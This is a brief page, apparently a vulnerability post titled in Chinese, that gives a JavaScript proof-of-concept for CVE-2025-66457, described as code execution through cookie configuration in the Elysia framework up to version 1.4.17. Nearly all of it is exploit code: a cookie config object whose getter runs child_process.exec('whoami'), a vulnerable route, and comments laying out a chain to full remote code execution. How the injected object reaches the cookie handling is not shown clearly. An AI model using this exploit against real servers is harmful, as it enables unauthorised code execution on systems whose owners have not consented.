CVE-2025-66457 Elysia框架Cookie配置导致任意代码执行漏洞

// CVE-2025-66457 PoC - Elysia Framework Arbitrary Code Execution via Cookie Config // This PoC demonstrates the vulnerability in Elysia <= 1.4.17 import { Elysia } from 'elysia'; // Malicious cookie configuration that will be executed const maliciousCookieConfig = { value: 'test', // Inject arbitrary code execution get: function() { // This code will be executed when the cookie is accessed require('child_process').exec('whoami'); return 'malicious'; } }; // Vulnerable configuration - dynamic cookie with unsanitized config const app = new Elysia() .use((app) => { // Simulate dynamic cookie scenario // When dynamic cookies are enabled with existing schema, // the cookie config is injected without sanitization app.state('cookieConfig', maliciousCookieConfig); return app; }) .get('/vulnerable', ({ cookie: { session } }) => { // The malicious code in cookie config gets executed // during route compilation or access return session.value; }) .listen(3000); // Exploitation scenario: // 1. Attacker gains write access to cookie configuration // 2. Malicious code is injected into cookie config object // 3. When Elysia compiles routes with dynamic cookies, // the malicious code is executed without sanitization // 4. Combined with GHSA-hxj9-33pp-j2cc for full RCE chain console.log('Server running on http://localhost:3000'); console.log('Vulnerability: Cookie config code execution in Elysia <= 1.4.17');